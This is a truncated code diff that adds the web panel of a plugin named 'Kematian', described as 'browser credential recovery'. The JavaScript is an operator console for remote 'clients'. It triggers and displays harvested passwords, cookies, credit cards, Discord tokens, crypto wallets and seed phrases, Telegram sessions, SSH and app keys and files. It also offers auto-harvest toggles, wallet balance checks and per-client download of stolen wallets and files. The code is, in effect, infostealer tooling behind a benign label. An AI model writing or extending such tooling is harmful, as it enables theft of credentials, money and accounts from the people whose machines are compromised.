letter-spacing: 0.5px; + color: var(--text-dim); + background: rgba(0,0,0,0.15); + border-bottom: 1px solid var(--border); +} +.search-group-table td { + padding: 5px 10px; font-size: 12px; color: var(--text); + border-bottom: 1px solid rgba(51,65,100,0.2); + overflow: hidden; text-overflow: ellipsis; white-space: nowrap; + cursor: pointer; +} +.search-group-table tr:last-child td { border-bottom: none; } +.search-group-table tr:hover td { background: rgba(255,255,255,0.03); } +.search-group-table td.sg-grow { overflow: hidden; text-overflow: ellipsis; } +.search-group-more { + display: block; text-align: center; padding: 6px; + font-size: 11px; color: var(--accent-hover); + border-top: 1px solid var(--border); + cursor: pointer; transition: background 0.12s; +} +.search-group-more:hover { background: rgba(99,102,241,0.08); } + +.tab.tab-search { border-color: rgba(250,204,21,0.3); color: #fbbf24; } +.tab.tab-search.active { background: rgba(250,204,21,0.12); border-color: rgba(250,204,21,0.4); color: #fbbf24; } +.tab.tab-search .tab-count { background: rgba(250,204,21,0.18); color: #fbbf24; } + +/* ── Scrollbars ─────────────────────────────────────────────── */ +::-webkit-scrollbar { width: 6px; height: 6px; } +::-webkit-scrollbar-track { background: rgba(0,0,0,0.2); } +::-webkit-scrollbar-thumb { + background: linear-gradient(180deg, #6366f1, #4338ca); + border-radius: 3px; +} +::-webkit-scrollbar-thumb:hover { background: #818cf8; } diff --git a/kematian.html b/kematian.html new file mode 100644 index 0000000..5ce96ec --- /dev/null +++ b/kematian.html @@ -0,0 +1,163 @@ + + + + + + Kematian + + + + + + +
+
+

Kematian

+

Browser credential recovery

+
+ + +
+
+ + +
+
+ + Not connected +
+
+ + + + + + + + + +
+
+ + + + + + + + + + + + + + + + +
+

Log

+

+      
+
+ + + diff --git a/kematian.js b/kematian.js new file mode 100644 index 0000000..b034428 --- /dev/null +++ b/kematian.js @@ -0,0 +1,2120 @@ +(() => { + const PLUGIN_ID = "kematian"; + const PAGE_SIZE = 1000; + const ROW_H = 28; + const VBUF = 20; + + const params = new URLSearchParams(window.location.search); + const clientId = params.get("clientId") || ""; + const isGlobal = !clientId; + + const __ctx = clientId || "__global__"; + if (window.__kematianCtx === __ctx) return; + if (window.__kematianSSE) { window.__kematianSSE.close(); window.__kematianSSE = null; } + if (window.__kematianPoll) { clearInterval(window.__kematianPoll); window.__kematianPoll = null; } + window.__kematianCtx = __ctx; + + const $ = (id) => document.getElementById(id); + + // ── DOM refs ────────────────────────────────────────────────── + const logEl = $("log"); + const dataCard = $("data-card"); + const tabsEl = $("tabs"); + const bfiltsEl = $("bfilts"); + const cfiltsEl = $("cfilts"); + const searchEl = $("search"); + const thead = $("data-thead"); + const tbody = $("data-tbody"); + const tableWrap = document.querySelector(".table-wrap"); + const noRows = $("no-rows"); + const rowCount = $("row-count"); + const revealToggle = $("reveal-toggle"); + const pagBar = $("pagination-bar"); + const pagPrev = $("page-prev"); + const pagNext = $("page-next"); + const pagInfo = $("page-info"); + + const clientCard = $("client-card"); + const clientIdEl = $("client-id"); + const statusDot = $("status-dot"); + const statusText = $("status-text"); + const collectBtn = $("collect-btn"); + const scanFilesBtn = $("scan-files-btn"); + const scanExtBtn = $("scan-ext-btn"); + const scanWalletsBtn = $("scan-wallets-btn"); + const scanTgBtn = $("scan-tg-btn"); + const scanKeysBtn = $("scan-keys-btn"); + const scanAppsBtn = $("scan-apps-btn"); + const pingBtn = $("ping-btn"); + const exportBtn = $("export-btn"); + + const discordViewEl = $("discord-view"); + const dpGrid = $("dp-grid"); + const enrichAllBtn = $("enrich-all-btn"); + const enrichStatus = $("enrich-status"); + + const walletViewEl = $("wallet-view"); + const wlGrid = $("wl-grid"); + const checkBalancesBtn = $("check-balances-btn"); + const balanceStatus = $("balance-status"); + + const settingsCard = $("settings-card"); + const settingsGrid = $("settings-grid"); + const settingsAdminMsg = $("settings-admin-msg"); + const settingsStatus = $("settings-status"); + const autoHarvestToggle = $("auto-harvest-toggle"); + const autoFilesToggle = $("auto-files-toggle"); + const autoExtToggle = $("auto-ext-toggle"); + + const globalCard = $("global-card"); + const clientsCard = $("clients-card"); + const clientsList = $("clients-list"); + const globalStats = $("global-stats"); + const refreshBtn = $("refresh-btn"); + const exportAllBtn = $("export-all-btn"); + const clearAllBtn = $("clear-all-btn"); + const summaryCard = $("summary-card"); + const summaryGrid = $("summary-grid"); + const summaryTotals = $("summary-totals"); + const searchAllView = $("search-all-view"); + const searchAllGrid = $("search-all-grid"); + const searchAllEmpty = $("search-all-empty"); + + // ── Column definitions ──────────────────────────────────────── + const CLIENT_COL = { k: "clientId", h: "Client", clientbadge: true }; + + const TABS = [ + { + id: "passwords", label: "Passwords", key: "passwords", rpc: "list_passwords", + cols: [ + { k: "url", h: "URL", grow: true }, + { k: "username", h: "Username" }, + { k: "password", h: "Password", sensitive: true }, + { k: "browser", h: "Browser", badge: true }, + { k: "profile", h: "Profile" }, + ], + }, + { + id: "cookies", label: "Cookies", key: "cookies", rpc: "list_cookies", + cols: [ + { k: "host", h: "Host", grow: true }, + { k: "name", h: "Name" }, + { k: "value", h: "Value", truncate: true }, + { k: "path", h: "Path" }, + { k: "secure", h: "Sec", bool: true }, + { k: "httpOnly", h: "HTTP", bool: true }, + { k: "expiresUtc", h: "Expires", chromets: true }, + { k: "browser", h: "Browser", badge: true }, + { k: "profile", h: "Profile" }, + ], + }, + { + id: "autofill", label: "Autofill", key: "autofill", rpc: "list_autofill", + cols: [ + { k: "name", h: "Field", grow: true }, + { k: "value", h: "Value", truncate: true }, + { k: "browser", h: "Browser", badge: true }, + { k: "profile", h: "Profile" }, + ], + }, + { + id: "history", label: "History", key: "history", rpc: "list_history", + cols: [ + { k: "url", h: "URL", grow: true }, + { k: "title", h: "Title" }, + { k: "visitTimeUnix", h: "Visited", unixtimestamp: true }, + { k: "browser", h: "Browser", badge: true }, + { k: "profile", h: "Profile" }, + ], + }, + { + id: "bookmarks", label: "Bookmarks", key: "bookmarks", rpc: "list_bookmarks", + cols: [ + { k: "name", h: "Name", grow: true }, + { k: "url", h: "URL", truncate: true }, + { k: "type", h: "Type" }, + { k: "browser", h: "Browser", badge: true }, + { k: "profile", h: "Profile" }, + ], + }, + { + id: "cards", label: "Cards", key: "creditCards", rpc: "list_credit_cards", + cols: [ + { k: "nameOnCard", h: "Name on Card", grow: true }, + { k: "cardNumber", h: "Card Number", sensitive: true }, + { k: "expirationMonth", h: "Month" }, + { k: "expirationYear", h: "Year" }, + { k: "nickname", h: "Nickname" }, + { k: "browser", h: "Browser", badge: true }, + { k: "profile", h: "Profile" }, + ], + }, + { + id: "discord", label: "Discord", key: "discordTokens", rpc: "list_discord_tokens", + cols: [ + { k: "token", h: "Token", grow: true, sensitive: true }, + { k: "source", h: "Source" }, + ], + }, + { + id: "files", label: "Files", key: "files", rpc: "list_files", + cols: [ + { k: "dir", h: "Location" }, + { k: "name", h: "Name", grow: true }, + { k: "ext", h: "Ext" }, + { k: "size", h: "Size", filesize: true }, + { k: "modified", h: "Modified", unixtimestamp: true }, + { k: "tags", h: "Tags", seedtag: true }, + { k: "_dl", h: "", filedownload: true }, + ], + }, + { + id: "extensions", label: "Extensions", key: "extensions", rpc: "list_extensions", + cols: [ + { k: "name", h: "Name", grow: true }, + { k: "version", h: "Version" }, + { k: "extId", h: "Ext ID", mono: true }, + { k: "category", h: "Type", walletbadge: true }, + { k: "browser", h: "Browser", badge: true }, + { k: "profile", h: "Profile" }, + { k: "_dl", h: "", extdownload: true }, + ], + }, + { + id: "wallets", label: "Wallets", key: "wallets", rpc: "list_wallets", + cols: [ + { k: "name", h: "Wallet", grow: true }, + { k: "path", h: "Path", truncate: true }, + { k: "files", h: "Files" }, + { k: "size", h: "Size", filesize: true }, + { k: "_dl", h: "", walletdownload: true }, + ], + }, + { + id: "telegram", label: "Telegram", key: "telegram", rpc: "list_telegram", + cols: [ + { k: "account", h: "Account", grow: true }, + { k: "path", h: "Path", truncate: true }, + { k: "size", h: "Size", filesize: true }, + { k: "hasContent", h: "Downloaded", bool: true }, + ], + }, + { + id: "keys", label: "Keys", key: "keys", rpc: "list_keys", + cols: [ + { k: "type", h: "Type", badge: true }, + { k: "name", h: "Name", grow: true }, + { k: "path", h: "Path", truncate: true }, + { k: "size", h: "Size", filesize: true }, + { k: "content", h: "Content", sensitive: true, truncate: true }, + ], + }, + { + id: "seeds", label: "Seeds", key: "seeds", rpc: "list_seeds", + cols: [ + { k: "phrase", h: "Seed Phrase", sensitive: true, grow: true }, + { k: "words", h: "Words" }, + { k: "valid", h: "BIP39", bool: true }, + { k: "source", h: "Source", badge: true }, + { k: "path", h: "Path", truncate: true }, + ], + }, + { + id: "apps", label: "Apps", key: "appCredentials", rpc: "list_app_credentials", + cols: [ + { k: "application", h: "Application", badge: true }, + { k: "host", h: "Host", grow: true }, + { k: "port", h: "Port" }, + { k: "username", h: "Username" }, + { k: "password", h: "Password", sensitive: true }, + { k: "protocol", h: "Protocol", badge: true }, + { k: "extra", h: "Extra", truncate: true }, + ], + }, + ]; + + const BROWSERS = [ + "Chrome", "Edge", "Brave", "Vivaldi", "Yandex", + "Arc", "Opera", "Opera GX", "Firefox", "Waterfox", + ]; + + const DATA_KEYS = [ + "passwords", "cookies", "autofill", "history", "bookmarks", + "creditCards", "discordTokens", "files", "extensions", "wallets", + "telegram", "keys", "seeds", "appCredentials", + ]; + + // ── Discord helpers ─────────────────────────────────────────── + const DISCORD_BADGE_FLAGS = [ + { f: 1 << 0, label: "Staff", title: "Discord Staff" }, + { f: 1 << 1, label: "Partner", title: "Partnered Server Owner" }, + { f: 1 << 2, label: "HypeSquad", title: "HypeSquad Events" }, + { f: 1 << 3, label: "Bug Hunter", title: "Bug Hunter Level 1" }, + { f: 1 << 6, label: "Bravery", title: "HypeSquad Bravery" }, + { f: 1 << 7, label: "Brilliance", title: "HypeSquad Brilliance" }, + { f: 1 << 8, label: "Balance", title: "HypeSquad Balance" }, + { f: 1 << 9, label: "Early Sup.", title: "Early Supporter" }, + { f: 1 << 14, label: "Bug Hunter II", title: "Bug Hunter Level 2" }, + { f: 1 << 17, label: "Bot Dev", title: "Early Verified Bot Developer" }, + { f: 1 << 18, label: "Moderator", title: "Certified Discord Moderator" }, + { f: 1 << 22, label: "Active Dev", title: "Active Developer" }, + ]; + const NITRO_LABELS = ["—", "Nitro Classic", "Nitro", "Nitro Basic"]; + + function discordSnowflakeDate(id) { + if (!id) return null; + try { return new Date(Number(BigInt(id) >> 22n) + 1420070400000); } + catch { return null; } + } + + function discordAvatarUrl(userId, hash) { + if (hash && userId) + return `https://cdn.discordapp.com/avatars/${userId}/${hash}.webp?size=64`; + if (userId) { + try { return `https://cdn.discordapp.com/embed/avatars/${Number(BigInt(userId) % 6n)}.png`; } + catch { return null; } + } + return null; + } + + function dpBadgesHtml(flags) { + if (!flags) return ""; + return DISCORD_BADGE_FLAGS + .filter(b => (flags & b.f) !== 0) + .map(b => `${esc(b.label)}`) + .join(""); + } + + function dpNitroHtml(tier) { + if (!tier) return ""; + return `${esc(NITRO_LABELS[tier] || "Nitro")}`; + } + + // ── State ───────────────────────────────────────────────────── + let lastResults = null; + let tabData = {}; + let activeTab = "passwords"; + let activeBrowser = "all"; + let activeClient = "all"; + let sortCol = null; + let sortAsc = true; + let showSensitive = false; + let knownClients = []; + let searchTimer = null; + let userRole = null; + let historyView = "all"; // "all" or "top" + let searchAllResults = null; + + const pendingFetches = new Map(); + const pendingExtZips = new Map(); + const pendingWalletZips = new Map(); + let walletBalances = {}; + let walletCrackResults = {}; + + // ── Virtual scroll ──────────────────────────────────────────── + let virtRows = []; + let virtCols = []; + let scrollRAF = null; + + function makeSpacer() { + const tr = document.createElement("tr"); + const td = document.createElement("td"); + td.style.cssText = "height:0;padding:0;border:0;"; + tr.appendChild(td); + return tr; + } + const topSpacer = makeSpacer(); + const botSpacer = makeSpacer(); + + tableWrap.addEventListener("scroll", () => { + if (scrollRAF) return; + scrollRAF = requestAnimationFrame(() => { scrollRAF = null; vRender(); }); + }, { passive: true }); + + function startVirt(rows, cols, serverTotal) { + virtRows = rows; + virtCols = cols; + const span = cols.length || 1; + topSpacer.cells[0].colSpan = span; + botSpacer.cells[0].colSpan = span; + tbody.innerHTML = ""; + tbody.appendChild(topSpacer); + tbody.appendChild(botSpacer); + tableWrap.scrollTop = 0; + const total = serverTotal !== undefined ? serverTotal : rows.length; + noRows.style.display = total === 0 ? "" : "none"; + rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "entry" : "entries"}`; + vRender(); + } + + function vRender() { + if (!virtRows.length) return; + const scrollTop = tableWrap.scrollTop; + const viewH = tableWrap.clientHeight || 520; + const first = Math.max(0, Math.floor(scrollTop / ROW_H) - VBUF); + const last = Math.min(virtRows.length, Math.ceil((scrollTop + viewH) / ROW_H) + VBUF); + topSpacer.cells[0].style.height = (first * ROW_H) + "px"; + botSpacer.cells[0].style.height = ((virtRows.length - last) * ROW_H) + "px"; + while (tbody.rows.length > 2) tbody.deleteRow(1); + for (let i = first; i < last; i++) + tbody.insertBefore(buildRow(virtRows[i], virtCols), botSpacer); + } + + // ── Utilities ───────────────────────────────────────────────── + function log(line) { + logEl.textContent = `[${new Date().toLocaleTimeString()}] ${line}\n` + logEl.textContent; + } + + function esc(s) { + return String(s).replace(/&/g, "&").replace(//g, ">").replace(/"/g, """); + } + + function chromeTs(v) { + if (!v || v === 0) return ""; + const ms = Math.round(v / 1000) - 11644473600000; + return ms <= 0 ? "" : new Date(ms).toLocaleString(); + } + + function unixTs(v) { + return (!v || v === 0) ? "" : new Date(v * 1000).toLocaleString(); + } + + function humanSize(bytes) { + if (bytes === 0) return "0 B"; + const units = ["B", "KB", "MB", "GB"]; + const i = Math.floor(Math.log(bytes) / Math.log(1024)); + return (bytes / Math.pow(1024, i)).toFixed(i === 0 ? 0 : 1) + " " + units[i]; + } + + function shortId(id) { return id ? String(id).slice(0, 8) : "?"; } + + function downloadBase64(content, filename, mime) { + const raw = atob(content); + const bytes = new Uint8Array(raw.length); + for (let i = 0; i < raw.length; i++) bytes[i] = raw.charCodeAt(i); + const blob = new Blob([bytes], mime ? { type: mime } : undefined); + const a = document.createElement("a"); + a.href = URL.createObjectURL(blob); + a.download = filename; + a.click(); + URL.revokeObjectURL(a.href); + } + + // ── Network ─────────────────────────────────────────────────── + async function sendEvent(event, payload) { + if (!clientId) { log("ERROR: no clientId"); return; } + try { + const res = await fetch( + `/api/clients/${encodeURIComponent(clientId)}/plugins/${PLUGIN_ID}/event`, + { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ event, payload }) }, + ); + if (!res.ok) log(`send failed: ${res.status}`); + } catch (e) { log(`send error: ${e.message}`); } + } + + async function rpc(method, params) { + const res = await fetch(`/api/plugins/${PLUGIN_ID}/rpc`, { + method: "POST", + headers: { "Content-Type": "application/json" }, + body: JSON.stringify({ method, params: params || {} }), + }); + const data = await res.json(); + if (!data.ok) { + const msg = data.error || "RPC error"; + console.error(`[kematian] RPC ${method} failed (${res.status}): ${msg}`); + throw new Error(msg); + } + return data.result; + } + + async function fetchUserRole() { + try { + const res = await fetch("/api/auth/me"); + if (!res.ok) return null; + const data = await res.json(); + return data.role || null; + } catch { return null; } + } + + // ── Cell rendering ──────────────────────────────────────────── + function cellContent(col, raw, reveal) { + const v = raw == null ? "" : raw; + if (col.clientbadge) + return `${esc(shortId(String(v)))}`; + if (col.bool) + return v ? `` : ``; + if (col.badge) + return `${esc(String(v || ""))}`; + if (col.chromets) + return esc(chromeTs(v)); + if (col.unixtimestamp) + return esc(unixTs(v)); + if (col.filesize) + return esc(humanSize(Number(v) || 0)); + if (col.mono) + return `${esc(String(v || ""))}`; + if (col.seedtag) { + if (!v) return ""; + return String(v).split(",").filter(Boolean) + .map(t => t === "seed" + ? `seed phrase` + : `${esc(t)}`) + .join(" "); + } + if (col.walletbadge) { + if (v === "wallet") return `Wallet`; + return ""; + } + if (col.filedownload) + return isGlobal ? "" : ``; + if (col.extdownload) + return isGlobal ? "" : ``; + if (col.walletdownload) + return isGlobal ? "" : ``; + if (col.sensitive) { + const text = String(v); + if (!text) return ``; + return reveal + ? `${esc(text)}` + : `••••••••`; + } + const text = String(v); + if (col.truncate && text.length > 80) + return `${esc(text.slice(0, 80))}…`; + return esc(text); + } + + function sortValue(col, row) { + const v = row[col.k]; + if (col.bool) return v ? 1 : 0; + if (col.chromets || col.unixtimestamp) return v || 0; + if (col.filesize) return Number(v) || 0; + if (col.filedownload || col.clientbadge) return String(v || "").toLowerCase(); + if (typeof v === "number") return v; + return String(v || "").toLowerCase(); + } + + function applySortInPlace(rows, cols) { + if (sortCol === null || sortCol >= cols.length) return; + const col = cols[sortCol]; + rows.sort((a, b) => { + const av = sortValue(col, a), bv = sortValue(col, b); + if (av < bv) return sortAsc ? -1 : 1; + if (av > bv) return sortAsc ? 1 : -1; + return 0; + }); + } + + function buildRow(row, cols) { + const tr = document.createElement("tr"); + for (const col of cols) { + const td = document.createElement("td"); + td.innerHTML = cellContent(col, row[col.k], showSensitive); + td.addEventListener("click", () => { + if (!isGlobal && col.filedownload) { fetchAndDownload(row.path, row.name, td); return; } + if (!isGlobal && col.extdownload) { fetchAndDownloadExt(row.path, row.extId, td); return; } + if (!isGlobal && col.walletdownload) { fetchAndDownloadWallet(row.path, row.name, td); return; } + const val = col.sensitive ? String(row[col.k] || "") + : col.chromets ? chromeTs(row[col.k]) + : col.unixtimestamp ? unixTs(row[col.k]) + : col.filesize ? String(row[col.k] || "") + : String(row[col.k] || ""); + if (!val) return; + navigator.clipboard.writeText(val).catch(() => {}); + td.classList.add("copied-flash"); + setTimeout(() => td.classList.remove("copied-flash"), 600); + }); + tr.appendChild(td); + } + return tr; + } + + function buildHeader(cols) { + thead.innerHTML = ""; + const trh = document.createElement("tr"); + cols.forEach((col, i) => { + const th = document.createElement("th"); + let arrow = "⇅", cls = ""; + if (sortCol === i) { arrow = sortAsc ? "↑" : "↓"; cls = sortAsc ? "sort-asc" : "sort-desc"; } + th.className = cls; + th.innerHTML = `${esc(col.h)} ${arrow}`; + th.addEventListener("click", () => { + if (sortCol === i) sortAsc = !sortAsc; else { sortCol = i; sortAsc = true; } + renderTable(); + }); + trh.appendChild(th); + }); + thead.appendChild(trh); + } + + // ── Tabs ────────────────────────────────────────────────────── + function getGlobalTabTotal(tabKey) { + if (activeClient !== "all") { + const c = knownClients.find(x => x.clientId === activeClient); + return c ? (c[tabKey] || 0) : 0; + } + return knownClients.reduce((sum, c) => sum + (c[tabKey] || 0), 0); + } + + function buildTabs() { + tabsEl.innerHTML = ""; + + const q = searchEl.value.trim(); + if (q) { + const saBtn = document.createElement("button"); + saBtn.className = "tab tab-search" + (activeTab === "__search__" ? " active" : ""); + const saCount = searchAllResults ? searchAllResults.groups.reduce((s, g) => s + g.total, 0) : 0; + saBtn.innerHTML = `Search All ${saCount.toLocaleString()}`; + saBtn.addEventListener("click", () => { + activeTab = "__search__"; + sortCol = null; sortAsc = true; + buildTabs(); buildBfilts(); + if (isGlobal) { buildCfilts(); loadSearchAll(); } + else renderTable(); + }); + tabsEl.appendChild(saBtn); + } + + for (const t of TABS) { + const btn = document.createElement("button"); + btn.className = "tab" + (t.id === activeTab ? " active" : ""); + const count = isGlobal + ? getGlobalTabTotal(t.key).toLocaleString() + : (lastResults ? (lastResults[t.key] || []).length : 0); + btn.innerHTML = `${esc(t.label)} ${count}`; + btn.addEventListener("click", () => { + activeTab = t.id; + sortCol = null; sortAsc = true; + buildTabs(); buildBfilts(); + if (isGlobal) { + buildCfilts(); + if (tabData[t.key]) tabData[t.key].offset = 0; + loadGlobalTab(); + } else { + renderTable(); + } + }); + tabsEl.appendChild(btn); + } + } + + // ── Browser filter ──────────────────────────────────────────── + function buildBfilts() { + const tab = TABS.find(t => t.id === activeTab); + if (!tab?.cols.some(c => c.k === "browser")) { bfiltsEl.style.display = "none"; return; } + bfiltsEl.style.display = ""; + bfiltsEl.innerHTML = ""; + + // History view toggle + if (activeTab === "history") { + const viewToggle = document.createElement("div"); + viewToggle.className = "history-view-toggle"; + for (const v of [{ label: "All", value: "all" }, { label: "Top Sites", value: "top" }]) { + const btn = document.createElement("button"); + btn.className = "bfilt" + (historyView === v.value ? " active" : ""); + btn.textContent = v.label; + btn.addEventListener("click", () => { + historyView = v.value; + buildBfilts(); + renderTable(); + }); + viewToggle.appendChild(btn); + } + bfiltsEl.appendChild(viewToggle); + const sep = document.createElement("span"); + sep.className = "bfilt-sep"; + bfiltsEl.appendChild(sep); + } + + const pills = [{ label: "All", value: "all" }, ...BROWSERS.map(b => ({ label: b, value: b }))]; + for (const p of pills) { + const btn = document.createElement("button"); + btn.className = "bfilt" + (activeBrowser === p.value ? " active" : ""); + btn.dataset.browser = p.value; + btn.textContent = p.label; + btn.addEventListener("click", () => { + activeBrowser = p.value; + buildBfilts(); + if (isGlobal) { + const t2 = TABS.find(t => t.id === activeTab); + if (t2?.key && tabData[t2.key]) tabData[t2.key].offset = 0; + loadGlobalTab(); + } else { + renderTable(); + } + }); + bfiltsEl.appendChild(btn); + } + } + + // ── Client filter ───────────────────────────────────────────── + function buildCfilts() { + if (!isGlobal || !cfiltsEl) return; + if (knownClients.length === 0) { cfiltsEl.style.display = "none"; return; } + cfiltsEl.style.display = ""; + cfiltsEl.innerHTML = ""; + const pills = [ + { label: "All Clients", value: "all" }, + ...knownClients.map(c => ({ label: shortId(c.clientId), value: c.clientId, full: c.clientId })), + ]; + for (const p of pills) { + const btn = document.createElement("button"); + btn.className = "cfilt" + (activeClient === p.value ? " active" : ""); + btn.textContent = p.label; + if (p.full) btn.title = p.full; + btn.addEventListener("click", () => { + activeClient = p.value; + const tab = TABS.find(t => t.id === activeTab); + if (tab?.key && tabData[tab.key]) tabData[tab.key].offset = 0; + buildCfilts(); buildTabs(); + loadGlobalTab(); + }); + cfiltsEl.appendChild(btn); + } + } + + // ── Search All ──────────────────────────────────────────────── + async function loadSearchAll() { + const q = searchEl.value.trim(); + if (!q) { searchAllResults = null; renderTable(); return; } + const p = { search: q, limit: 10 }; + if (activeClient !== "all") p.clientId = activeClient; + try { + searchAllResults = await rpc("global_search", p); + buildTabs(); + renderTable(); + } catch (e) { log(`Search error: ${e.message}`); } + } + + function renderSearchAll() { + if (!searchAllView || !searchAllGrid) return; + searchAllGrid.innerHTML = ""; + const groups = searchAllResults?.groups || []; + searchAllEmpty.style.display = groups.length === 0 ? "" : "none"; + + for (const g of groups) { + const tab = TABS.find(t => t.key === g.key); + if (!tab) continue; + const cols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols; + const displayCols = cols.filter(c => !c.filedownload && !c.extdownload && !c.walletdownload); + const previewCols = displayCols.slice(0, 5); + + const section = document.createElement("div"); + section.className = "search-group"; + + const header = document.createElement("div"); + header.className = "search-group-header"; + header.innerHTML = ` +
+ ${esc(g.label)} + ${g.total.toLocaleString()} +
+
View all →
+ `; + header.addEventListener("click", () => { + activeTab = tab.id; + sortCol = null; sortAsc = true; + buildTabs(); buildBfilts(); + if (isGlobal) { + buildCfilts(); + if (tabData[tab.key]) tabData[tab.key].offset = 0; + searchEl.value = searchEl.value; + loadGlobalTab(); + } else { + renderTable(); + } + }); + section.appendChild(header); + + const tbl = document.createElement("table"); + tbl.className = "search-group-table"; + const thRow = document.createElement("tr"); + for (const col of previewCols) { + const th = document.createElement("th"); + th.textContent = col.h; + if (col.grow) th.style.width = "40%"; + thRow.appendChild(th); + } + tbl.appendChild(thRow); + + for (const row of g.rows) { + const tr = document.createElement("tr"); + for (const col of previewCols) { + const td = document.createElement("td"); + if (col.grow) td.className = "sg-grow"; + td.innerHTML = cellContent(col, row[col.k], showSensitive); + td.addEventListener("click", () => { + const val = col.sensitive ? String(row[col.k] || "") + : col.chromets ? chromeTs(row[col.k]) + : String(row[col.k] || ""); + if (!val) return; + navigator.clipboard.writeText(val).catch(() => {}); + td.classList.add("copied-flash"); + setTimeout(() => td.classList.remove("copied-flash"), 600); + }); + tr.appendChild(td); + } + tbl.appendChild(tr); + } + section.appendChild(tbl); + + if (g.total > g.rows.length) { + const more = document.createElement("div"); + more.className = "search-group-more"; + more.textContent = `+ ${(g.total - g.rows.length).toLocaleString()} more results — click to view all`; + more.addEventListener("click", () => header.click()); + section.appendChild(more); + } + + searchAllGrid.appendChild(section); + } + } + + function loadSearchAllLocal() { + const q = searchEl.value.trim().toLowerCase(); + if (!q || !lastResults) { searchAllResults = null; buildTabs(); return; } + const groups = []; + for (const tab of TABS) { + const rows = lastResults[tab.key] || []; + if (!rows.length) continue; + const cols = tab.cols; + const matched = rows.filter(r => + cols.some(c => String(r[c.k] || "").toLowerCase().includes(q)) + ); + if (matched.length > 0) { + groups.push({ key: tab.key, label: tab.label, total: matched.length, rows: matched.slice(0, 10) }); + } + } + searchAllResults = { groups }; + buildTabs(); + } + + // ── Pagination ──────────────────────────────────────────────── + function updatePagination(tabKey) { + if (!isGlobal || !pagBar) return; + const td = tabData[tabKey]; + if (!td || td.total <= PAGE_SIZE) { pagBar.style.display = "none"; return; } + pagBar.style.display = ""; + const from = td.offset + 1; + const to = Math.min(td.offset + td.rows.length, td.total); + pagInfo.textContent = `${from.toLocaleString()}–${to.toLocaleString()} of ${td.total.toLocaleString()}`; + pagPrev.disabled = td.offset === 0; + pagNext.disabled = td.offset + td.rows.length >= td.total; + } + + // ── Render table ────────────────────────────────────────────── + function renderTable() { + if (activeTab === "__search__") { + tableWrap.style.display = "none"; + noRows.style.display = "none"; + if (discordViewEl) discordViewEl.style.display = "none"; + if (walletViewEl) walletViewEl.style.display = "none"; + if (searchAllView) searchAllView.style.display = ""; + if (pagBar) pagBar.style.display = "none"; + renderSearchAll(); + const total = searchAllResults?.groups.reduce((s, g) => s + g.total, 0) || 0; + rowCount.textContent = `${total.toLocaleString()} ${total === 1 ? "result" : "results"}`; + return; + } + if (searchAllView) searchAllView.style.display = "none"; + + const tab = TABS.find(t => t.id === activeTab); + if (!tab) return; + + if (activeTab === "discord") { + tableWrap.style.display = "none"; + if (discordViewEl) discordViewEl.style.display = ""; + if (walletViewEl) walletViewEl.style.display = "none"; + loadDiscordProfiles(); + return; + } + if (activeTab === "wallets") { + tableWrap.style.display = "none"; + if (discordViewEl) discordViewEl.style.display = "none"; + if (walletViewEl) walletViewEl.style.display = ""; + loadWalletCards(); + return; + } + if (discordViewEl) discordViewEl.style.display = "none"; + if (walletViewEl) walletViewEl.style.display = "none"; + tableWrap.style.display = ""; + + // Top Sites view for history tab + if (activeTab === "history" && historyView === "top") { + let rows; + if (isGlobal) { + const td = tabData[tab.key]; + rows = td?.rows || []; + } else { + rows = lastResults?.[tab.key] || []; + } + if (activeBrowser !== "all") rows = rows.filter(r => r.browser === activeBrowser); + const q = searchEl.value.trim().toLowerCase(); + if (q) rows = rows.filter(r => (r.url || "").toLowerCase().includes(q) || (r.title || "").toLowerCase().includes(q)); + + // Group by domain + const domainMap = {}; + for (const r of rows) { + let domain; + try { domain = new URL(r.url).hostname.replace(/^www\./, ""); } catch { domain = r.url || "unknown"; } + if (!domainMap[domain]) domainMap[domain] = { domain, visits: 0, lastVisit: 0, titles: new Set() }; + domainMap[domain].visits++; + if (r.visitTimeUnix > domainMap[domain].lastVisit) domainMap[domain].lastVisit = r.visitTimeUnix; + if (r.title) domainMap[domain].titles.add(r.title); + } + const sorted = Object.values(domainMap).sort((a, b) => b.visits - a.visits); + + const topCols = [ + { k: "domain", h: "Domain", grow: true }, + { k: "visits", h: "Visits" }, + { k: "lastVisit", h: "Last Visit", unixtimestamp: true }, + ]; + buildHeader(topCols); + const topRows = sorted.map(d => ({ + domain: d.domain, + visits: d.visits, + lastVisit: d.lastVisit, + })); + startVirt(topRows, topCols); + if (isGlobal) updatePagination(tab.key); + return; + } + + const allCols = isGlobal ? [CLIENT_COL, ...tab.cols] : tab.cols; + const cols = allCols.filter(c => !(isGlobal && c.filedownload)); + let rows, serverTotal; + + if (isGlobal) { + const td = tabData[tab.key]; + if (!td) { buildHeader(cols); startVirt([], cols); updatePagination(tab.key); return; } + rows = [...td.rows]; + serverTotal = td.total; + } else { + if (!lastResults) { buildHeader(cols); startVirt([], cols); return; } + rows = [...(lastResults[tab.key] || [])]; + if (activeBrowser !== "all" && tab.cols.some(c => c.k === "browser")) + rows = rows.filter(r => r.browser === activeBrowser); + const q = searchEl.value.trim().toLowerCase(); + if (q) rows = rows.filter(r => cols.some(c => String(r[c.k] || "").toLowerCase().includes(q))); + } + + applySortInPlace(rows, cols); + buildHeader(cols); + startVirt(rows, cols, serverTotal); + if (isGlobal) updatePagination(tab.key); + } + + // ── File fetch (per-client) ─────────────────────────────────── + function fetchAndDownload(path, name, tdEl) { + if (pendingFetches.has(path)) return; + const btn = tdEl.querySelector(".btn-dl"); + if (btn) { btn.textContent = "…"; btn.disabled = true; } + pendingFetches.set(path, { name, btn }); + sendEvent("fetch_file", { path }); + log(`Fetching: ${name}`); + } + + function fetchAndDownloadExt(path, extId, tdEl) { + if (pendingExtZips.has(path)) return; + const btn = tdEl.querySelector(".btn-dl"); + if (btn) { btn.textContent = "…"; btn.disabled = true; } + pendingExtZips.set(path, { extId, btn }); + sendEvent("fetch_ext_zip", { path, extId }); + log(`Fetching extension ZIP: ${extId || path}`); + } + + function fetchAndDownloadWallet(path, name, tdEl) { + if (pendingWalletZips.has(path)) return; + const btn = tdEl.querySelector(".btn-dl"); + if (btn) { btn.textContent = "…"; btn.disabled = true; } + pendingWalletZips.set(path, { name, btn }); + sendEvent("fetch_wallet_zip", { path, name }); + log(`Fetching wallet ZIP: ${name || path}`); + } + + // ── Discord profiles ────────────────────────────────────────── + function renderDiscordCard(p) { + const div = document.createElement("div"); + div.className = "dp-card"; + div.dataset.token = p.token || ""; + div.dataset.clientId = 